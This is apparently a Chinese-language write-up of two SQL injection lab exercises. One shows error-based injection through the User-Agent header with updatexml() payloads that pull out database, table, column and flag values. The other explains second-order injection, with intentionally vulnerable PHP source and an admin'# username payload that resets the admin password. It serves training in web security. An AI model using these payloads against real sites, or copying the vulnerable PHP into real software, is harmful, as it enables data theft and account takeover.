less-18(xml解析错误)
描述
POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
他说了这是一个头部的基于错误的用户代理注入,而且一开始在页面上显示了你的ip地址,于是我们先用看看x-forwarded-for
来伪造一下ip地址。
登录了才发现,它显示的是你的UA信息,ip地址并没有变化,于是这个注入点可能就在UA这里了。
注入试下
'union select database()#
发现会报错
看来普通的联合注入是不行的,于是结合上面的做过的题目,用xml报错把数据带出来的方式注入了一下。
'and updatexml(1,concat('~',database(),'~'),1) and'
第一个单引号和最后的一个是为了将前面和后面的的单引号闭合,让其处于sql语句中,而不是一串字符串,于是updatexml()
函数就可以生效了。由于concat()函数是将字符串给拼接起来,不属于xml格式,于是updatexml()
函数就会报错,由于这个函数的特性,他会把其中的错误给显示出来,如果是sql代码的话就会执行。这样就可以通过这种方式来查找目标的数据库了。
页面返回:
Your IP ADDRESS is: 100.64.88.3<br><font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: 'and updatexml(1,concat('~',database(),'~'),1) and'</font>
<br>XPATH syntax error: '~security~'<br>
知道数据库为security了,接下来我们就要查找它的表了
User-Agent: 'and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) and'
返回的信息为
<font color= "#0000ff" font size = 3 >Your User Agent is: 'and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) and'</font><br>XPATH syntax error: '~emails,fAGOdb9z,referers,uagent'<br><br>
发现这个fAGOdb9z表比较可疑,我们就先看看这个表里面有哪些字段吧
User-Agent: 'and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='fAGOdb9z'),'~'),1) and'
返回的信息为
<font color= "#0000ff" font size = 3 >Your User Agent is: 'and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='fAGOdb9z'),'~'),1) and'</font><br>XPATH syntax error: '~id,flag~'<br><br>
这个表里面有flag和id两个字段,那么flag十有八九就是在这个字段里面了,下一步直接爆它数据
User-Agent: 'and updatexml(1,concat('~',(select group_concat(flag) from fAGOdb9z),'~'),1) and'
返回的信息
<font color= "#0000ff" font size = 3 >Your User Agent is: 'and updatexml(1,concat('~',(select group_concat(flag) from fAGOdb9z),'~'),1) and'</font><br>XPATH syntax error: '~Comeon,almost,bingo,PTB{ab73a12'<br><br>
发现他返回的信息不全,这是因为updatexml()
函数一次只能返回35个字符长度,我们可以用substr()
这个函数来控制它从那个地方开始返回字符,来把后面的字符显示出来
User-Agent: 'and updatexml(1,concat('~',substr((select group_concat(flag) from fAGOdb9z),32,35),'~'),1) and'
返回信息
<font color= "#0000ff" font size = 3 >Your User Agent is: 'and updatexml(1,concat('~',substr((select group_concat(flag) from fAGOdb9z),31,35),'~'),1) and'</font><br>XPATH syntax error: '~20-d7af-4735-b8bb-e2f8bb02206c}'<br><br>
substr((select group_concat(flag) from fAGOdb9z),31,35)
它的意思是从第31个字符开始返回,返回字符串的长度为35
于是就得到了flag
函数总结
updatexml(XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点报错注入用法
updatexml(1,concat('~',database(),'~'),1)
extractvalue(xml_flag,xpath_expr)
ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
报错注入用法
extractvalue(1,concat('~',database(),'~'))
less-24(二次注入)
描述
Second Degree Injections Real treat -Store Injections (二次注入)
这是一个二次注入的题目
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
解题步骤
- 插入恶意语句
- 当我们写入语句时有非法字符会被转义,但是在存入数据库的时候它写入的还是原数据,这样在下一次引用的时候就会造成一个安全隐患
- 引用恶意数据
- 开发者默认存入数据库的数据都是安全的,所以不会对数据库里面拿出来的数据进行检验,这就导致了我们传入数据库的恶意语句被成功引用
下面给出题目的源码(不给出真的是太难注了)
登录界面
function sqllogin(){
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
新建用户
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
if (isset($_POST['submit']))
{
# Validating the user input........
//$username= $_POST['username'] ;
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row);
if (!$row[0]== 0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass==$re_pass)
{
# Building up the query........
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
echo "</br>";
echo "<center><img src=../images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>";
//echo "<h1>User Created Successfully</h1>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>Redirecting you to login page in 5 sec................";
echo "<font size='2'>";
echo "</br>If it does not redirect, click the home button on top right</center>";
header('refresh:5, url=index.php');
}
修改密码
if (isset($_POST['submit']))
{
# Validating the user input........
$username= $_SESSION["username"]; //在引用数据没有严格的过滤!!
$curr_pass=mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
可以看到,不管是在创建用户还是在登录时数据都被严格的验证了,被mysql_real_escape_string
函数过滤了特殊字符。
但是他在修改密码的时候出现了漏洞$username= $_SESSION["username"];
,没有验证从数据调出来的数据。
payload
在创建用户时
username=admin’# //在被存入数据库的还是这个数据
password=123
在修改密码时
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
在#后面的语句都被注释掉了
结果执行的语句为
UPDATE users SET PASSWORD='$pass' where username='admin'
这不就是在改管理员密码了吗!!!
于是改了只后再登录管理员就可以获得flag了
可见二次注入还是很考验逻辑的!